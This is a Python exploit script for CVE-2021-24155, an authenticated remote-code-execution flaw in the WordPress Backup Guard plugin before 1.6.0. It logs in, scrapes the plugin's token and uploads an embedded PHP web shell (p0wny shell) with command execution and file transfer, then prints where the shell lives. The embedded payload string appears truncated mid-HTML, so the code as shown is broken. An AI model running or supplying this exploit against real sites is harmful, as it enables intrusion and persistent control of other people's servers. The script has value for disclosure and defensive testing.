# Date 02.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://backup-guard.com/products/backup-wordpress
# Software Link: https://downloads.wordpress.org/plugin/backup.1.5.8.zip
# Version: Before 1.6.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24155
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24155/README.md
'''
Description:
The plugin did not ensure that the imported files are of the SGBP
format and extension,
allowing high privilege users (admin+) to upload arbitrary files,
including PHP ones, leading to RCE.
Additional Info, and Bypass of .htaccess protection found by
WPScanTeam, while confirming the issue:
There is a protection in place against accessing the uploaded
files,
via a .htaccess in the wp-content/uploads/backup-guard/ folder,
however:
- Some web servers do not support .htaccess, e.g Nginx, making it
useless in such case
- Arbitrary content can be appended to the existing .htaccess, to
make the deny from all invalid,
and bypass the protection on web servers such as Apache
Note: v1.6.0 forced the uploaded file to have the .sgbp
extension by adding it if not present,
but the file content is not verified, which could still allow
chaining with an issue
such as LFI or Arbitrary File Renaming to achieve RCE
'''
'''
Banner:
'''
banner = """
______ _______ ____ ___ ____ _ ____ _ _ _ ____ ____
/ ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \| || | / | ___|
___|
| | \ \ / /| _| _____ __) | | | |__) | |_____ __) | || |_| |___
\___ \
| |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/|__ _| |___)
|__) |
\____| \_/ |_____| |_____|\___/_____|_| |_____| |_|
|_|____/____/
* Wordpress Plugin Backup Guard < 1.6.0 - RCE
(Authenticated)
* @Hacker5preme
"""
print(banner)
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Plugin
Backup Guard < 1.6.0 - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path +
'wp-login.php'
# Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0)
Gecko/20100101 Firefox/89.0',
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Upgrade-Insecure-Requests': '1'
}
# Body:
body = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': '1'
}
# Authenticate:
print('')
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
print('[+] Authentication successfull !')
else:
print('[-] Authentication failed !')
exit()
'''
Retrieve Token for backup:
'''
token_url = "http://" + target_ip + ':' + target_port + wp_path + '/wp-admin/admin.php?page=backup_guard_backups'
# Header (Token):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0)
Gecko/20100101 Firefox/89.0",
"Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://" + target_ip + ':' + target_port + wp_path +
'/wp-admin/users.php',
"Connection": "close",
"Upgrade-Insecure-Requests": "1"
}
# Get Token:
print('')
print('[+] Grabbing unique Backup Plugin Wordpress Token:')
token_url = 'http://' + target_ip + ':' + target_port + wp_path +
'wp-admin/admin.php?page=backup_guard_backups'
init_url = 'http://' + target_ip + ':' + target_port + wp_path +
'wp-admin/index.php'
init_request = session.get(init_url).text
token_request = session.get(token_url).text
token_start_in = token_request.find('&token=')
token_start_in = token_request[token_start_in + 7:]
token = token_start_in[:token_start_in.find('"')]
print(' -> Token: ' + token)
'''
Exploit:
'''
print('')
print('[*] Starting Exploit:')
exploit_url = "http://" + target_ip + ':' + target_port + wp_path +
'wp-admin/admin-ajax.php?action=backup_guard_importBackup&token='
+ token
# Header (Exploit):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0)
Gecko/20100101 Firefox/89.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": 'http://' + target_ip + ':' + target_port + wp_path +
'wp-admin/admin.php?page=backup_guard_backups',
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data;
boundary=---------------------------17366980624047956771255332862",
"Origin": 'http://' + target_ip,
"Connection": "close"
}
# Body (Exploit): Using p0wny shell:
https://github.com/flozz/p0wny-shell
body =
"-----------------------------17366980624047956771255332862\r\nContent-Disposition:
form-data; name=\"files[]\";
filename=\"shell.php\"\r\nContent-Type:
image/png\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n
$stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd))
{\n // pass\n } elseif
(preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n
chdir($cwd);\n
preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd,
$match);\n chdir($match[1]);\n } elseif
(preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\",
$cmd)) {\n chdir($cwd);\n
preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\",
$cmd, $match);\n return featureDownload($match[1]);\n } else {\n
chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n
\"stdout\" => $stdout,\n \"cwd\" => getcwd()\n
);\n}\n\nfunction featurePwd() {\n return array(\"cwd\" =>
getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n
chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c
$fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n
$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\",
shell_exec($cmd));\n return array(\n 'files' => $files,\n
);\n}\n\nfunction featureDownload($filePath) {\n $file =
@file_get_contents($filePath);\n if ($file === FALSE) {\n return
array(\n 'stdout' => array('File not found / no read
permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return
array(\n 'name' => basename($filePath),\n 'file' =>
base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path,
$file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f
=== FALSE) {\n return array(\n 'stdout' => array('Invalid path /
no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n
fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n
'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n
}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n
switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd =
$_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= '
2>&1';\n }\n $response = featureShell($cmd,
$_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response =
featurePwd();\n break;\n case \"hint\":\n $response =
featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n
break;\n case 'upload':\n $response = featureUpload($_POST['path'],
$_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type:
application/json\");\n echo json_encode($response);\n
die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n
<head>\n <meta charset=\"UTF-8\" />\n
<title>p0wny@shell:~#</title>\n <meta
name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"
/>\n <style>\n html, body {\n margin: 0;\n padding: 0;\n
background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n
*::-webkit-scrollbar-track {\n border-radius: 8px;\n
background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width:
8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n
border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px
rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n
background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n
box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n
display: flex;\n
session.post(exploit_url, headers=header, data=body)
print('[+] Exploit done !')
print(' -> Webshell uploaded to: http://' + target_ip + ':' +
target_port + wp_path +
'wp-content/uploads/backup-guard/shell.php')
print('')
